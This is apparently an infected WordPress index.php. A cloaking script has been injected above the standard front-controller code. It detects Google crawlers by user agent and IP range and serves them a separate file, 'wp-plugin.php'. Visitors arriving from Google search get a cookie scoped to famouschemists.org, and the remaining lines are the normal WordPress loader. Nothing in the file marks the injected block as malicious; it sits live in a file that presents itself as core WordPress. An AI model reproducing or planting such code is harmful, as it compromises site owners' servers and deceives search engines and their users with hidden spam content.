<?php
session_start();
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$is_google_bot = false;
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
$google_bots = [
'googlebot',
'AdsBot-Google',
'Mediapartners-Google',
'Google-Read-Aloud',
'DuplexWeb-Google',
'googleweblight',
'Storebot-Google',
'google',
'Google-Site-Verification',
'Google-InspectionTool'
];
$google_ip_ranges = [
'64.233.160.0/19',
'66.102.0.0/20',
'66.249.64.0/19',
'72.14.192.0/18',
'74.125.0.0/16',
'108.177.8.0/21',
'173.194.0.0/16',
'207.126.144.0/20',
'209.85.128.0/17',
'216.58.192.0/19',
'216.239.32.0/19'
];
foreach ($google_bots as $bot) {
if (stripos($user_agent, $bot) !== false) {
$is_google_bot = true;
break;
}
}
if (!$is_google_bot) {
foreach ($google_ip_ranges as $range) {
list($subnet, $bits) = explode('/', $range);
$ip_long = ip2long($ip);
$subnet_long = ip2long($subnet);
$mask = -1 << (32 - $bits);
if (($ip_long & $mask) === ($subnet_long & $mask)) {
$is_google_bot = true;
break;
}
}
}
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);
$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;
$_SESSION['last_url'] = $current_url;
if ($is_google_bot) {
include('wp-plugin.php');
exit;
}
if ($from_google && !$is_refresh) {
setcookie('google_visit', '2', time() + 86400, '/', 'famouschemists.org', false, true);
include('index.php');
exit;
}
?>
<?php
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';